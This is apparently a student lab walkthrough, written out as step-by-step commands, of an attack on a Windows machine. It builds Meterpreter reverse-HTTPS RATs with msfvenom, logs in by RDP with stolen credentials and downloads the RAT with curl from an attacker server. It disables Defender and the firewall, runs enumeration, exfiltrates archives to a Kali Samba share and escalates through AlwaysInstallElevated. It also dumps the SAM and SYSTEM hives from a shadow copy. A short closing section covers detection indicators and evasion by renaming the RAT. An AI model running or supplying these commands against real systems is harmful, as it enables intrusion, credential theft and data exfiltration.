ON out Kali VM we create out 2 RATs using msfvenom's reverse https:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.17.41 LPORT=12443 -f exe -o ~/Desktop/rat1.exe
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.17.41 LPORT=13443 -f exe -o ~/Desktop/rat2.exe

Then we set up the listener

msfconsole -q

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 10.0.17.41
set LPORT 12443
set ExitOnSession false
exploit -j

Use stolen credentials in an RDP session in order to access the windows machine

xfreerdp3 /u:champuser /p:<PASSWORD> /v:<WINDOWS_IP>:3389 /cert:ignore /dynamic-resolution

Host a python3 server on Kali to transfer our RAT over

python3 -m http.server 8000

Now on our RDP we can Curl the RAT onto windows

curl.exe http://10.0.17.41:8000/rat1.exe -o C:\Users\champuser\Desktop\rat1.exe

Now make sure to disable the firewall and defender however you may have to do this prior to curling the RAT over.

powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
powershell -Command "Set-NetFirewallProfile -All -Enabled False"

Now we are going to execute the RAT

#If you are also in the path already you can just do 
rat.exe

#Or you can click in manually in file explorer

#Or you can do the full path 
C:\Users\champuser\rat1.exe

now confirm that the session is active

sessions -l
sessions -i 1
getuid

This simulation scenario is a darknet credential breach. We are breaching Champuser's username as well as there password. These were obtained previously through a database leak or them being sold. Tis attack is a realistic attack vector due to credential stuffing attacks using leaked credentials. These are one of the most common initial access methods that threat actors use today.

getuid confirms that the session is running as champuser not SYSTEM or Administrator

• Run: sysinfo
• Information this gives us: OS Version, Architecture, Hostname, Domain, logged-in-user
• Screenshot:

• Run: getprivs
• Information given: this tells the threat actor what privilege escalation techniques are viable in this environment, and whether token impersonation attacks are viable or not.
• Screenshot:

• Run: arp
• Information given: This reveals the ARP cache revealing other live hosts on this current network the threat actor can use lateral movement on.
• Screenshot:

• Run: idletime
• Information given: Action connections, listening ports, and communicating hosts
• Screenshot:

• Run: netstat -an
• Information given: Active connections, listening ports, and communicating hosts
• screenshot:

Copy this to a notepad and save it as EnumScript.ps1

whoami /all > C:\temp\enum_out\01_user_groups_privileges.txt 2>&1

tasklist > C:\temp\enum_out\02_running_processes.txt 2>&1

netstat -ano > C:\temp\enum_out\03_network_connections.txt 2>&1

sc.exe query > C:\temp\enum_out\04_running_services.txt 2>&1

net.exe user > C:\temp\enum_out\05_local_users.txt 2>&1

net.exe localgroup > C:\temp\enum_out\06_local_groups.txt 2>&1

net.exe localgroup Administrators > C:\temp\enum_out\07_administrators.txt 2>&1

ipconfig /all > C:\temp\enum_out\08_network_configuration.txt 2>&1

netsh advfirewall show allprofiles > C:\temp\enum_out\09_firewall_policies.txt 2>&1

arp -a > C:\temp\enum_out\10_arp_table.txt 2>&1

net.exe session > C:\temp\enum_out\11_smb_sessions.txt 2>&1

systeminfo > C:\temp\enum_out\12_system_information.txt 2>&1

Before running this script make sure we can execute the script and make sure the file is present/created for output

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser

New-Item -ItemType Directory -Path C:\temp\enum_out -Force

On Meterpreter session run: shell powershell c:\temp\EnumScript.ps1

Output in C:\temp:

shell
powershell -Command "Compress-Archive -Path C:\temp\enum_out\* -DestinationPath C:\temp\staged.zip -Force"
exit

Result:

SMB port 445 is a port thats constantly active in Windows Enterprise environments for file sharing, printer sharing, and domain authentication. A single copy over SMB looks identical to a user simply copying a file to a network share this is a completely normal behavior in most organizations.

Internal SMB traffic between two windows machines or more is normal however SMB connections leaving the network to an external IP (Kali C2) should never happen. Firewall rules blocking the outbound port 445 to non-internal subnets would have prevented this entirely and alerted on the attempt.

sudo apt install samba -y

# Create a shared file 
mkdir -p /home/champuser/Desktop/smb_exfill
sudo chmod 777 /home/champuser/Desktop/smb_exfill

# Configure samba
sudo nano /etc/samba/smb.conf

Add a samba user

# I set mine to test as password
sudo smbpasswd -a champuser

Add this to the bottom of the file:

[exfil]
path = /home/champuser/Desktop/smb_exfill
browseable = yes
writable = yes
guest ok = yes
create mask = 0777

Example:

Start Samba

sudo systemctl start smbd nmbd

shell
net use \\<KALI_IP>\exfill <samba password> /user:champuser
copy C:\temp\staged.zip \\10.0.17.41\exfil\staged.zip

# Disconnect when done
net use \\10.0.17.41\exfill /delete

ls -lh /home/champuser/Desktop/smb_exfil/

Output:

unzip /home/champuser/Desktop/smb_exfill/staged.zip -d /home/champuser/Desktop/smb_exfill/extracted/
ls /home/champuser/Desktop/smb_exfill/extracted/
cat /home/champuser/Desktop/smb_exfill/extracted/

AlwaysInstallElevated is a Windows Group Policy that sits in two registry keys-HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated and HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated. When both keys are set to 1, Windows Installer is configured to run all .msi packages with SYSTEM privileges regardless of which user initiates the instalation.

This exploit bypasses privilege restrictions entirely because it abuses a legitimate windows feature instead of exploiting a vulnerability or a big. Windows installer or msiexex.exe is a trusted Microsoft binary that runs with legitimate escalated privileges when the policy is set.

From our active Meterpreter session, use the local exploit suggester:

use post/multi/recon/local_exploit_suggester
set SESSION 6
run

Output should be a list of potential exploits:

We will be using the established session from earlier in the lab to check the session id:

sessions -l 

On Meterpreter start an exploit

use exploit/windows/local/always_install_elevated
set SESSION [session id]
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST 10.0.17.41
set LPORT 15000
run

Verify system acess:

getuid 
sysinfo

Verify access to system resources:

shell
wmic shadowcopy call create Volume="C:\"
vssadmin list shadows

getprivs from Phase 2 confirmed standard user privilege with no administrative token this means that LPE is needed sysinfo confirmed that Windows 10 build 1809 this is a version where we will be able to fully exploit the misconfigured AlwaysInstallElevated

copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM" C:\temp\SAM_shadow
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM" C:\temp\SYSTEM_shadow

powershell -Command "Compress-Archive -Path C:\temp\SAM_shadow,C:\temp\SYSTEM_shadow -DestinationPath C:\temp\shadow_exfil.zip -Force"

file in temp:

On Kali:

sudo service smbd start 

On Windows

net use \\<KALI_IP>\exfil <samba password> /user:champuser
copy C:\temp\shadow_exfil.zip \\10.0.17.41\exfil\shadow_exfil.zip
net use \\10.0.17.41\exfil /delete

unzip /home/kali/Desktop/smb_exfil/shadow_exfil.zip -d /home/kali/Desktop/smb_exfil/shadow_extracted/

Extracted files:

In your Meterpreter shell filter logs for process creation and save to a .txt file

powershell -Command "wevtutil qe Microsoft-Windows-Sysmon/Operational '/q:*[System[EventID=1]]' /f:text /rd:true | Out-File C:\temp\sysmon_logs.txt"

Transfer via smb

net use \\<KALI_IP>\exfil <samba password> /user:champuser
copy C:\temp\sysmon_logs.txt \\<KALI_IP>\exfil\sysmon_logs.txt

Successful transfer:

Check it landed correctly

ls -lh /home/champuser/Desktop/smb_exfil/sysmon_logs.txt

• curl.exe - This command contains two major indicators that the standard enterprise detection rules would flag or detect. The fist one being an executable downloading from a raw an address instead of a domain name and then a destination being a path that is user-writable rather then a legitimate software installations directory.
• rat.exe - The execution of a rat.exe presents many different confidence detection indicators. The file has no information that should be present for legitimate file software. Such as file version, metadata, digital signature, or company/product information.
• net.exe - This command mapping a share to an external IP address using explicit credentials on the command line is a very strong indicator of lateral movement or exfiltration activity that is currently present on your machine

• wmic.exe - The command wmic shadowcopy call create is well known for defense evasion and it is also a technique frequently used by APT actors. The command pattern is well documented in the threat intelligence world.
• powershell.exe - The powershell Compress-Archive command is a legitimate Windows built-in cmdlet used regularly by administrators and users, making it much harder to detect. However using this to compress files from the C:\temp\enum_out\* into a staged archive is consistent with data staging behavior prior to exfiltration.

• LOLBins - These are signed Microsoft tools that appear in the normal day to day Windows environment. The standard signature based antivirus solutions will never flag these LOLBins as malicious since they are trusted system components. Detection requires behavioral analysis
• vssadmin - The vssadmin list shadows command is a list that's read-only enumeration of existing shadow copies is much less significant and suspicious when compared to the creation or deletion commands. System admins routinely use this command in order to verify backups.

• Alert when known LOLBins are spawned by unusual parent processes (e.g. msiexec.exe spawned by anything other then explorer.exe or services.exe)

• Renaming rat1.exe to a legitimate-sounding Windows process name such as RuntimeBroker.exe or SearchIndexer.exe
• Hosting on a domain name rather than the raw Kali IP address.